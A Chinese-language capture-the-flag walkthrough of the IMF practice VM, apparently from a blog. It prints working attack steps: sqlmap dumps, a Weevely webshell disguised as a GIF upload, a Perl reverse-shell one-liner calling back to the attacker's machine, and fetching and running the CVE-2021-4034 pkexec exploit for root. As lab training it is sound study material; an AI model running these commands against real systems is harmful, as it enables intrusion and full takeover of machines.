【IMF靶场渗透】

文章目录

一、基础信息

二、信息收集

三、flag1

四、flag2

五、flag3

六、flag4

七、flag5

八、flag6


一、基础信息

Kali IP:192.168.20.146

靶机IP:192.168.20.147

二、信息收集

Nmap -sP 192.168.20.0/24

Arp-scan -l

nmap -sS -sV -p- -A 192.168.20.147

端口扫描开放了80端口,web.server:apache http-server 2.4.18

操作系统:ubuntu

访问一下查看页面信息

发现一些邮件地址和人名:

Roger S. Michaels ;rmichaels@imf.local ;Director (主任)

Alexander B. Keith ;akeith@imf.local ;Deputy Director (副主任)

Elizabeth R. Stone ;estone@imf.local ;Chief of Staff(办公室主任)

猜测用户名为:rmichaels,akeith,estone

目录探测

好像没啥发现

三、flag1

查看页面源代码发现flag1,看起来像base64编码,尝试解码,发现为:allthefiles

尝试拼接为目录发现失败,另外上面也有疑似base64编码的字符

四、flag2

看wp发现是把他们连接起来进行base64解码得到flag2,这个没想到,解码得到明文:imfadministrator

再次拼接目录得到页面,想到sql注入或者暴力破解等

查看页面源代码发现作者不建议用sql注入

这里尝试使用上面得到的用户名信息进行测试,测试发现可以先判断有无用户再猜测密码

用户名上面有分析到rmichaels;akeith;estone

发现存在rmichaels用户,可以尝试爆破一下密码,但是测试了一会儿没搞出来

看了wp,这里是进行绕过,因为这里讲到了硬编码,一般使用了一个strcmp()函数的漏洞

strcmp()函数的特点是比较输入值和指定的一个数字

<?php
$flag = "flag{xxxxx}";
if (isset($_GET['a'])) {
    if (strcmp($_GET['a'], $flag) == 0) //如果 str1 小于 str2 返回 < 0; 如果 str1大于 str2返回 > 0;如果两者相等,返回 0。
    //比较两个字符串(区分大小写)
        die('Flag: '.$flag);
    else
        print 'No';
}
?>

a输入为非字符串类型数据,就会报错,自动return 0;一般绕过方式是用数组绕过

这个时候我们可以以数组的方式传输数据,使其报错。

五、flag3

得到了flag3和一个路径

flag3{Y29udGludWVUT2Ntcw==}

解码为:continueTOcms

<a href='cms.php?pagename=home'>IMF CMS</a>

路径:http://192.168.20.147/imfadministrator/cms.php?pagename=home

但是这里cms不知道是啥,不好入手,观察到路径参数可以尝试SQL注入,抓取数据包注入

sqlmap -r sql.txt

然后继续查看里面的内容

sqlmap -r sql.txt --current-db

sqlmap -r sql.txt -D admin --tables

sqlmap -r sql.txt -D admin -T pages --columns 

sqlmap -r sql.txt -D admin -T pages -C id,pagedata,pagename --dump

六、flag4

看到提示有两个图片,下载下来有一个有一个二维码,扫码得到

flag4{dXBsb2Fkcjk0Mi5waHA=}

解码为:uploadr942.php

访问为一个文件上传页面,根据上面信息收集知道后台为php语言开发,思路为上传php木马。

先正常上传一个图片文件,成功后通过查看源代码看到重命名后的名字,猜测上传路径后可正常访问。

路径为:http://192.168.20.147/imfadministrator/uploads/4eba680d7790.jpg

得到上传路径后尝试上传一句话木马发现,有waf提示不能使用eval等函数,以及不能上传php类文件。尝试黑名单后缀名绕过但没成功,写入命令执行时jpg文件没有生效,gif文件可以,应该是.htaccess文件中有AddHandler application/x-httpd-php .gif,可将gif文件解析为php。

后面参考了其他wp的思路,结合起来选择了比较简单方法。

Weevely工具

weevely是一款使用python编写的webshell工具(集webshell生成和连接于一身),可以算作是linux下的一款菜刀替代工具(限于php),在linux上使用时还是很给力的。

先利用Weevely工具生成一个gif后门文件

weevely generate hp shll.gif

但是注意需要自己在后门文件开头加GIF89a头,不然不能成功上传

文件地址:http://192.168.20.147/imfadministrator/uploads/08e80adff22b.gif

工具连接:weevely http://192.168.20.147/imfadministrator/uploads/08e80adff22b.gif hp

连接成功后可查看到flag5

七、flag5

解码后明文为:agentservices

此时shell并不是稳定的shell连接,这个时候我们需要重新反弹一个shell到kali

nc -lvvp 8080

利用python未成功,采用了perl命令

perl -e 'use Socket;$i="192.168.20.146";$p=8080;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
python3 -c 'import pty;pty.spawn("/bin/bash")'

此时应该进行提权了,这里提权方式参考各wp主要有两种,一种是内核提权,另一种就是根据靶机提示的后续缓冲区溢出提权(比较复杂,可自行搜索学习),这里用的是内核方面的方法

主要参考:

https://blog.csdn.net/weixin_60374959/article/details/127923839

https://www.cnblogs.com/l2sec/p/14410182.html

uname -a

lsb_release -a

系统为ubuntu 16.04.1

这里用到一个提权漏洞:CVE-2021-4034:Linux提权漏洞,主要原因在于Polkit包下的Pkexec工具存在内存损害,允许非特权用户利用提升到ROOT。

Pkexec是系统预装的工具,所以主流的都会受到影响,像Ubuntu、Debian、Fedora、Centos等,从2009年起所有的Pkexec都会受到攻击。

find / -perm -u=s -type f 2>/dev/null //列出具有suid位的文件

这里可以用已有的exp:cve-2021-4034(至于什么能想到这个,我也不清楚,靠多方面尝试吧)

下载地址:https://github.com/arthepsy/CVE-2021-4034/blob/main/cve-2021-4034-poc.c

下载完上传到靶机

python -m http.server 8080                                --kali开启服务
cd /tmp                                                   --靶机进入tmp目录
wget http://192.168.20.146:8080/cve-2021-4034-poc.c       --靶机下载poc
gcc cve-2021-4034-poc.c -o exp                            --靶机反编译
chmod +x exp                                              --给与执行文件权限
./exp                                                     --执行文件

八、flag6

权限为root,可查看到Flag6,解码为Gh0stProt0c0ls

完成!

这次靶机操作下来感觉给的提示很紧密,难度感觉也有点偏高,还是学习到了很多。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/928484.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

【C#】书籍信息的添加、修改、查询、删除

文章目录 一、简介二、程序功能2.1 Book类属性&#xff1a;方法&#xff1a; 2.2 Program 类 三、方法&#xff1a;四、用户界面流程&#xff1a;五、程序代码六、运行效果 一、简介 简单的C#控制台应用程序&#xff0c;用于管理书籍信息。这个程序将允许用户添加、编辑、查看…

【Code First】.NET开源 ORM 框架 SqlSugar 系列

.NET开源 ORM 框架 SqlSugar 系列 【开篇】.NET开源 ORM 框架 SqlSugar 系列【入门必看】.NET开源 ORM 框架 SqlSugar 系列【实体配置】.NET开源 ORM 框架 SqlSugar 系列【Db First】.NET开源 ORM 框架 SqlSugar 系列【Code First】.NET开源 ORM 框架 SqlSugar 系列【数据事务…

CLIP模型也能处理点云信息

✨✨ 欢迎大家来访Srlua的博文&#xff08;づ&#xffe3;3&#xffe3;&#xff09;づ╭❤&#xff5e;✨✨ &#x1f31f;&#x1f31f; 欢迎各位亲爱的读者&#xff0c;感谢你们抽出宝贵的时间来阅读我的文章。 我是Srlua小谢&#xff0c;在这里我会分享我的知识和经验。&am…

配置宝塔php curl 支持http/2 发送苹果apns消息推送

由于宝塔面板默认的php编译的curl未加入http2的支持&#xff0c;如果服务需要使用apns推送等需要http2.0的访问就会失败&#xff0c;所以重新编译php让其支持http2.0 编译方法&#xff1a; 一、安装nghttp2 git clone https://github.com/tatsuhiro-t/nghttp2.git cd nghttp…

单片机学习笔记 12. 定时/计数器_定时

更多单片机学习笔记&#xff1a;单片机学习笔记 1. 点亮一个LED灯单片机学习笔记 2. LED灯闪烁单片机学习笔记 3. LED灯流水灯单片机学习笔记 4. 蜂鸣器滴~滴~滴~单片机学习笔记 5. 数码管静态显示单片机学习笔记 6. 数码管动态显示单片机学习笔记 7. 独立键盘单片机学习笔记 8…

pytest自定义命令行参数

实际使用场景&#xff1a;pytest运行用例的时候&#xff0c;启动mitmdump进程试试抓包&#xff0c;pytest命令行启动的时候&#xff0c;传入mitmdump需要的参数&#xff08;1&#xff09;抓包生成的文件地址 &#xff08;2&#xff09;mitm的proxy设置 # 在pytest的固定文件中…

【排序用法】.NET开源 ORM 框架 SqlSugar 系列

&#x1f4a5; .NET开源 ORM 框架 SqlSugar 系列 &#x1f389;&#x1f389;&#x1f389; 【开篇】.NET开源 ORM 框架 SqlSugar 系列【入门必看】.NET开源 ORM 框架 SqlSugar 系列【实体配置】.NET开源 ORM 框架 SqlSugar 系列【Db First】.NET开源 ORM 框架 SqlSugar 系列…

sscanf与sprintf函数

本期介绍&#x1f356; 主要介绍&#xff1a;sscanf()、sprintf()这对输入/输出函数&#xff0c;并详细讲解了这两个函数的应用场景。 概述&#x1f356; 在C语言的输出和输入库中&#xff0c;有三对及其相似的库函数&#xff1a;printf()、scanf()、fprintf()、fscanf()、spri…

HCIE IGP双栈综合实验

实验拓扑 实验需求及解法 本实验模拟ISP网络结构&#xff0c;R1/2组成国家骨干网&#xff0c;R3/4组成省级网络&#xff0c;R5/6/7组成数据中 心网络。 配置所有ipv4地址&#xff0c;请自行测试直连。 R1 sysname R1 interface GigabitEthernet0/0/0ip address 12.1.1.1 255.…

关于NXP开源的MCU_boot的项目心得

MCU的启动流程细查 注意MCU上电第一个函数运行的就是Reset_Handler函数&#xff0c;下图是表示了这个函数做了啥事情&#xff0c;注意加强一下对RAM空间的段的印象&#xff0c;从上到下是栈&#xff0c;堆&#xff0c;.bss段&#xff0c;.data段。 bootloader的难点 固件完…

[October 2019]Twice SQL Injection

有一个登录框和一个注册页面&#xff0c;题目也说这个是二次注入&#xff0c;那么就用二次注入的payload就行 1 union select database()# //爆库 1 union select group_concat(table_name) from information_schema.tables where table_schemactftraining# //爆表 1 union …

更多开源创新 挑战OpenAI-o1的模型出现和AI个体模拟突破

每周跟踪AI热点新闻动向和震撼发展 想要探索生成式人工智能的前沿进展吗&#xff1f;订阅我们的简报&#xff0c;深入解析最新的技术突破、实际应用案例和未来的趋势。与全球数同行一同&#xff0c;从行业内部的深度分析和实用指南中受益。不要错过这个机会&#xff0c;成为AI领…

组合问题变式——选数(dfs)

代码随想录听课笔记1——回溯算法-CSDN博客 这是从1&#xff0c;2&#xff0c;3...,n个数字中选出k个数的组合&#xff0c;输出组合的全部可能的代码 //组合&#xff1a;返回1-n中所有个数为k的组合 1,2,3,4 #include<bits/stdc.h> using namespace std; #define MAX 1…

shodan2-批量查找CVE-2019-0708漏洞

声明&#xff01; 学习视频来自B站up主 泷羽sec 有兴趣的师傅可以关注一下&#xff0c;如涉及侵权马上删除文章&#xff0c;笔记只是方便各位师傅的学习和探讨&#xff0c;文章所提到的网站以及内容&#xff0c;只做学习交流&#xff0c;其他均与本人以及泷羽sec团队无关&#…

css vue vxe-text-ellipsis table 实现多行文本超出隐藏省略

分享 vxe-text-ellipsis table grid 多行文本溢出省略的用法 正常情况下如果需要使用文本超出隐藏&#xff0c;通过 css 就可以完成 overflow: hidden; text-overflow: ellipsis; white-space: nowrap;但是如果需要实现多行文本溢出&#xff0c;就很难实现里&#xff0c;谷歌…

qt QLinearGradient详解

1、概述 QLinearGradient是Qt框架中QGradient的一个子类&#xff0c;用于创建线性渐变效果。线性渐变是一种颜色沿着一条直线平滑过渡到另一种颜色的效果。QLinearGradient允许你定义渐变的起点和终点&#xff0c;以及在这些点之间的颜色变化。你可以使用它来为图形、背景、边…

万字长文解读深度学习——多模态模型BLIP2

&#x1f33a;历史文章列表&#x1f33a; 深度学习——优化算法、激活函数、归一化、正则化 深度学习——权重初始化、评估指标、梯度消失和梯度爆炸 深度学习——前向传播与反向传播、神经网络&#xff08;前馈神经网络与反馈神经网络&#xff09;、常见算法概要汇总 万字长…

使用ESP32通过Arduino IDE点亮1.8寸TFT显示屏

开发板选择 本次使用开发板模块丝印为ESP32-WROOM-32E 开发板库选择 Arduino IDE上型号选择为ESP32-WROOM-DA Module 显示屏选择 使用显示屏为8针SPI接口显示屏 驱动IC为ST7735S 使用库 使用三个Arduino平台库 分别是 Adafruit_GFXAdafruit_ST7735SPI 代码详解 首…

3GPP R18 LTM(L1/L2 Triggered Mobility)是什么鬼?(三) RACH-less LTM cell switch

这篇看下RACH-less LTM cell switch。 相比于RACH-based LTM,RACH-less LTM在进行LTM cell switch之前就要先知道target cell的TA信息,进而才能进行RACH-less过程,这里一般可以通过UE自行测量或者通过RA过程获取,而这里的RA一般是通过PDCCH order过程触发。根据38.300中的描…

http(请求方法,状态码,Cookie与)

目录 1.http中常见的Header(KV结构) 2.http请求方法 2.1 请求方法 2.2 telnet 2.3 网页根目录 2.3.1 概念 2.3.2 构建一个首页 2.4 GET与POST方法 2.4.1 提交参数 2.4.2 GET与POST提交参数对比 2.4.3 GET和POST对比 3.状态码 3.1 状态码分类 3.2 3XXX状态码 3.2 …